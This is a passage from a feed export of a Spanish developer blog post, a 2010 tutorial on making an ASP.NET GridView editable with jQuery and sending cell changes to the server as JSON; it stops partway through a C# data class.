&lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;Saludos.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1499" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author></entry><entry><title>GridView Custom Edit</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2010/01/06/gridview-custom-edit.aspx" /><id>/Community/blogs/marckys/archive/2010/01/06/gridview-custom-edit.aspx</id><published>2010-01-06T01:01:00Z</published><updated>2010-01-06T01:01:00Z</updated><content type="html">&lt;p align="justify"&gt;Este a&amp;ntilde;o ha sido mucho m&amp;aacute;s productivo de lo que me esperaba y el que comienza parece que me va a deparar nuevos retos personales que espero sean lo m&amp;aacute;s positivos posible.&lt;/p&gt;
&lt;p align="justify"&gt;Para empezar con buen pie y no cejar en mis art&amp;iacute;culos t&amp;eacute;cnicos, hoy har&amp;eacute; un nuevo ejemplo pr&amp;aacute;ctico para personalizar un control GridView, permitir editar sus elementos con JavaScript y enviar al servidor de manera as&amp;iacute;ncrona solo las modificaciones realizadas.&lt;/p&gt;
&lt;p align="justify"&gt;Realmente cada vez existen m&amp;aacute;s controles que nos permiten mejorar la experiencia de usuario y potencian usabilidad de los usuarios. Pero con un poco de tiempo es posible dar este toque a los controles con los que trabajamos cotidianamente.&lt;/p&gt;
&lt;p align="justify"&gt;Para comenzar esta pr&amp;aacute;ctica crearemos un nuevo proyecto web y cargaremos una grid con la base de datos &lt;a target="_blank" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=06616212-0356-46A0-8DA2-EEBC53A68034&amp;amp;displaylang=en"&gt;NorthWind&lt;/a&gt; que no puede faltar en cualquier ejemplo que utilice una base de datos SQL.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/gridedit_5F00_7BC66281.jpg"&gt;&lt;img height="250" width="424" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/gridedit_5F00_thumb_5F00_76106A3D.jpg" alt="gridedit" border="0" title="gridedit" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Para poder editar la grid lo que tenemos que hacer primero es marcar las celdas que se podr&amp;aacute;n editar con una propiedad llamada &lt;strong&gt;&amp;quot;editable&amp;quot;,&lt;/strong&gt;&amp;nbsp; guardar el nombre del registro para tenerlo a mano a la hora de guardar las modificaciones y agregar el evento onmousedown para que llame a la funci&amp;oacute;n javaScript de edici&amp;oacute;n tanto en IE como en Firefox.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;protected&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;void&lt;/span&gt; GridView1_RowDataBound(&lt;span style="color:#0000ff;"&gt;object&lt;/span&gt; sender, 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:    GridViewRowEventArgs e)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3: {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:    &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (e.Row.RowType == DataControlRowType.DataRow)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:    {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6:       &lt;span style="color:#0000ff;"&gt;foreach&lt;/span&gt; (TableCell cell &lt;span style="color:#0000ff;"&gt;in&lt;/span&gt; e.Row.Cells)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  7:       {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  8:          cell.Attributes.Add(&amp;quot;&lt;span style="color:#8b0000;"&gt;editable&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style="color:#8b0000;"&gt;true&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  9:          cell.Attributes.Add(&amp;quot;&lt;span style="color:#8b0000;"&gt;columnName&lt;/span&gt;&amp;quot;, 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 10:            ((System.Web.UI.WebControls.DataControlFieldCell)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 11:               (cell)).ContainingField.HeaderText);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 12:          cell.Attributes.Add(&amp;quot;&lt;span style="color:#8b0000;"&gt;onmousedown&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style="color:#8b0000;"&gt;EditarPrecio(this);&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 13:       }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 14:    }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 15:  }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Una vez preparado el c&amp;oacute;digo de servidor que pintar&amp;aacute; la grid, ya podemos empezar con la funcionalidad en el cliente y para eso utilizaremos diferentes librer&amp;iacute;as ( &lt;a target="_blank" href="http://docs.jquery.com/Downloading_jQuery"&gt;JQuery&lt;/a&gt;, &lt;a target="_blank" href="http://www.json.org/js.html"&gt;JSON&lt;/a&gt;) y un fichero .js donde se encontrara nuestro c&amp;oacute;digo script.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;El script de cliente:&lt;/strong&gt;&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;*. EditarPrecio( celda ):&lt;/strong&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Lo primero que haremos es crear un control input para editar el contenido de la celda y como coment&amp;eacute; en &amp;ldquo;&lt;a target="_blank" href="http://geeks.ms/blogs/mrubino/archive/2009/11/25/jquery-la-potencia-sin-control-no-sirve-de-nada.aspx"&gt;Jquery - la potencia sin control no sirve de nada !!&amp;rdquo;&lt;/a&gt; no abusaremos de las funciones Jquery para no perjudicar al rendimiento de nuestro c&amp;oacute;digo.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCel_5F00_54B35552.png"&gt;&lt;img height="71" width="244" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCel_5F00_thumb_5F00_770AEACB.png" alt="grideditCel" border="0" title="grideditCel" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; EditarPrecio(td) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:     
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; tdControl = $(td)[0];
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:     OcultarTxtEditTodos();
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5: 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6:     &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (tdControl != &lt;span style="color:#0000ff;"&gt;null&lt;/span&gt; &amp;amp;&amp;amp; tdControl.innerText != &amp;quot;&lt;span style="color:#8b0000;"&gt;&lt;/span&gt;&amp;quot; 
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  7:        &amp;amp;&amp;amp; $(td).attr(&amp;quot;&lt;span style="color:#8b0000;"&gt;editable&lt;/span&gt;&amp;quot;) != &lt;span style="color:#0000ff;"&gt;null&lt;/span&gt; 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  8:        &amp;amp;&amp;amp; $(td).attr(&amp;quot;&lt;span style="color:#8b0000;"&gt;editable&lt;/span&gt;&amp;quot;) == &amp;quot;&lt;span style="color:#8b0000;"&gt;true&lt;/span&gt;&amp;quot;) {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  9:         &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; oldValue = tdControl.innerHTML;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 10:         tdControl.innerHTML = &amp;#39;&amp;lt;input id=&amp;quot;&lt;span style="color:#8b0000;"&gt;txtEditPrecios&lt;/span&gt;&amp;quot; &amp;#39;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 11:            + &amp;#39;onblur=&amp;quot;&lt;span style="color:#8b0000;"&gt;OcultarTxtEdit(this, true);&lt;/span&gt;&amp;quot; &amp;#39;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 12:            + &amp;#39;onkeypress=&amp;quot;&lt;span style="color:#8b0000;"&gt;FiltradoKey(event, this);&lt;/span&gt;&amp;quot; &amp;#39;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 13:            + &amp;#39;&lt;span style="color:#0000ff;"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color:#8b0000;"&gt;txtEditPrecios&lt;/span&gt;&amp;quot; type=&amp;quot;&lt;span style="color:#8b0000;"&gt;text&lt;/span&gt;&amp;quot; value=&amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;#39; 
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 14:            + oldValue + &amp;#39;&amp;quot;&lt;span style="color:#8b0000;"&gt; /&amp;gt;&amp;#39;;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 15:         $(&amp;quot;&lt;span style="color:#8b0000;"&gt;.txtEditPrecios&lt;/span&gt;&amp;quot;).&lt;span style="color:#0000ff;"&gt;focus&lt;/span&gt;().select();     
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 16:     }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 17: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;&lt;strong&gt;4:&lt;/strong&gt; Ocultamos los posibles inputs que se hayan quedado activados.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;10:&lt;/strong&gt; agregamos el control input a la celda.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;11:&lt;/strong&gt; Al perder el foco evento &amp;ldquo;onblur&amp;rdquo; ocultamos el input.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;12:&lt;/strong&gt; Al presionar un tecla evento &amp;ldquo;onkeypress&amp;rdquo; detectamos si se presiona la tecla escape para finalizar la edici&amp;oacute;n&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;15:&lt;/strong&gt; Otorgamos el foco al input y seleccionamos el contenido para facilitar la edici&amp;oacute;n.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;*. OcultarTxtEdit( input, si queremos tabular &amp;ldquo;bool&amp;rdquo; ):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; OcultarTxtEdit(val, tabular) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:     &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (val != &lt;span style="color:#0000ff;"&gt;null&lt;/span&gt;) {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:         &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; txt = $(val);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:         &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; td = txt[0].parentNode;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:         &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (txt[0].defaultValue != txt[0].value) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6:             td.setAttribute(&amp;quot;&lt;span style="color:#8b0000;"&gt;EditVal&lt;/span&gt;&amp;quot;, txt[0].value);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  7:             td.className = &amp;quot;&lt;span style="color:#8b0000;"&gt;txtEdit&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  8:         }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  9:         &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; tdNext = $(td).next();
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 10:         td.innerHTML = txt[0].value;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 11: 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 12:         &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (tabular)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 13:             &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;($(tdNext).&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;)
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 14:                EditarPrecio(tdNext);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 15:             &lt;span style="color:#0000ff;"&gt;else&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 16:                 &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;($(td).&lt;span style="color:#0000ff;"&gt;parent&lt;/span&gt;(&amp;#39;tr&amp;#39;).next().children().&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 17:                 EditarPrecio($(td).&lt;span style="color:#0000ff;"&gt;parent&lt;/span&gt;(&amp;#39;tr&amp;#39;).next().children()[0])
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 18:     }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 19: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5:&lt;/strong&gt; Comprobamos si el contenido de la celda ha sido modificado.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6:&lt;/strong&gt; mostramos el nuevo valor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7:&lt;/strong&gt; modificamos el estilo para destacar las celdas modificadas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;12:&lt;/strong&gt; si queremos tabular editamos la siguiente celda&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;16:&lt;/strong&gt; si es la &amp;uacute;ltima celda de la fila saltaremos a la siguiente fila&lt;/p&gt;
&lt;p&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCel2_5F00_7FFA7D0A.png"&gt;&lt;img height="106" width="412" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCel2_5F00_thumb_5F00_6FEE3F04.png" alt="grideditCel2" border="0" title="grideditCel2" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;*. OcultarTxtEditTodos():&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Oculta todos los inputs de la grid.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; OcultarTxtEditTodos() {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:     &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; txts = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#txtEditPrecios&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; i = 0; i &amp;lt; txts.&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;; i++) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:         OcultarTxtEdit($(txts[i]), &lt;span style="color:#0000ff;"&gt;false&lt;/span&gt;); 
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:     }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;*. OcultarTxtEditTodos():&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si se presiona la tecla escape salimos de la edici&amp;oacute;n de la celda.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; FiltradoKey(e, txt) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:     &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; code = (e.keyCode ? e.keyCode : e.which);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (code == 27) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:         OcultarTxtEdit(txt, &lt;span style="color:#0000ff;"&gt;false&lt;/span&gt;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:     }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;YA tenemos nuestra grid con la posibilidad de modificar los registros, con tabulaci&amp;oacute;n y cancelaci&amp;oacute;n funcionando al 100% !!!!&lt;/p&gt;
&lt;p&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCel3_5F00_13A9F750.png"&gt;&lt;img height="296" width="543" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCel3_5F00_thumb_5F00_0592BA66.png" alt="grideditCel3" border="0" title="grideditCel3" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCel33_5F00_0140E4F4.png"&gt;&lt;img height="146" width="544" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCel33_5F00_thumb_5F00_6B7C1DF8.png" alt="grideditCel33" border="0" title="grideditCel33" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;La &amp;uacute;ltima parte ser&amp;aacute; habilitar un m&amp;eacute;todo de p&amp;aacute;gina al que le podremos pasar las celdas modificadas con formato JSon desde el cliente.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;*. Tipo:&lt;/strong&gt;&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;class&lt;/span&gt; ClienteData
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2: {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; id { &lt;span style="color:#0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;set&lt;/span&gt;; }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:     &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; columna { &lt;span style="color:#0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;set&lt;/span&gt;; }
&lt;/pre&gt;
